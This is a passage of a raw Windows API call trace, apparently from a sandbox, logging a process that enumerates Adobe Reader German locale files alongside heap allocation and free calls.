lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7de2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.DEU", cAlternateFileName="")) returned 1 [0081.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12598c8 [0081.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274780 [0081.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.758] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.DEU", cAlternateFileName="")) returned 1 [0081.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12598e8 [0081.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274888 [0081.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.759] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.DEU", cAlternateFileName="")) returned 1 [0081.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259908 [0081.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274990 [0081.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.760] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.DEU", cAlternateFileName="")) returned 1 [0081.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259928 [0081.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274a98 [0081.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.762] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.DEU", cAlternateFileName="")) returned 1 [0081.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259948 [0081.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274ba0 [0081.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6a00) returned 0x1293f28 [0081.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0081.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.764] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.deu", cAlternateFileName="")) returned 1 [0081.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259968 [0081.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274ca8 [0081.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.765] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.765] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DEU", cAlternateFileName="")) returned 1 [0081.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259988 [0081.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274db0 [0081.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.767] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.DEU", cAlternateFileName="")) returned 1 [0081.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12599a8 [0081.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274eb8 [0081.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.768] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DEU", cAlternateFileName="")) returned 1 [0081.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12599c8 [0081.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274fc0 [0081.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DEU", cAlternateFileName="")) returned 0 [0081.770] GetLastError () returned 0x12 [0081.770] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.770] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Escript.deu", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x88400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7de2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.DEU", cAlternateFileName="")) returned 1 [0081.770] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.DEU", cAlternateFileName="")) returned 1 [0081.771] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.DEU", cAlternateFileName="")) returned 1 [0081.771] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.DEU", cAlternateFileName="")) returned 1 [0081.771] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.deu", cAlternateFileName="")) returned 1 [0081.771] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.771] RtlAllocateHeap 